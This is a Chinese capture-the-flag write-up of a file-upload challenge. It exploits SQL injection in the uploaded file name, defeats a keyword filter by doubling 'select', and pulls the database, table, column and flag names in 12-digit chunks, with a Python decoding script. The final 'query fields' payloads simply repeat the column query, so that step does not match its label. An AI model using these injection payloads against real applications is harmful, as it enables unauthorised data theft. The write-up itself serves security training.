由于没有发现注册登录有漏洞,便直接随便注册一个账号登录
进去后发现是文件上传,但是并没发现可以绕过上传木马文件,也不知道上传后的文件位置,所以应该不是上传木马的漏洞。
那么便抓包修改一下,我们上传一个图片格式文件,将名字里加个select,发现上传后的文件没了select这个字符串,那么应该就是存在文件名位置的sql注入了,而select应该是被过滤成空了。
我们可以用双写的方式来绕过过滤select,比如使用sselectelect或者selecselectt。
但是我们发现当进行数据库查找时,输出的只有数字
那我们就使用hex()和conv()两个函数,将字符转换成16进制再转换成十进制,123' +(selecselectt conv(hex(database()),16, 10))+ '.jpg,但是发现变成科学计数法了,经过多次尝试发现当输出的数字超过12位后便会以科学计数法的方式输出。
那我们就给它限制长度s'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
再利用python脚本进行十进制转字符131277325825392=>web_up
def decimal_to_char(decimal_number):
result = ""
while decimal_number > 0:
digit = decimal_number % 256 # 取模运算得到最低8位的数字
result = chr(digit) + result # 将数字转换为对应的字符,并加到结果字符串的最前面
decimal_number //= 256 # 取商作为下一轮循环的数字
return result
while True:
decimal_input = int(input("请输入一个十进制数字(输入-1退出):"))
if decimal_input == -1:
break
output = decimal_to_char(decimal_input)
print("转换后的字符为:", output)
后半段1819238756=>load
查表
s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg
s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg
s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg
s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg
所以表名为 hello_flag_i s_here
同理查列
i_am_flag
s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg
s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg
查字段
!!_@m_Th.e_F!lag
s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg
s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg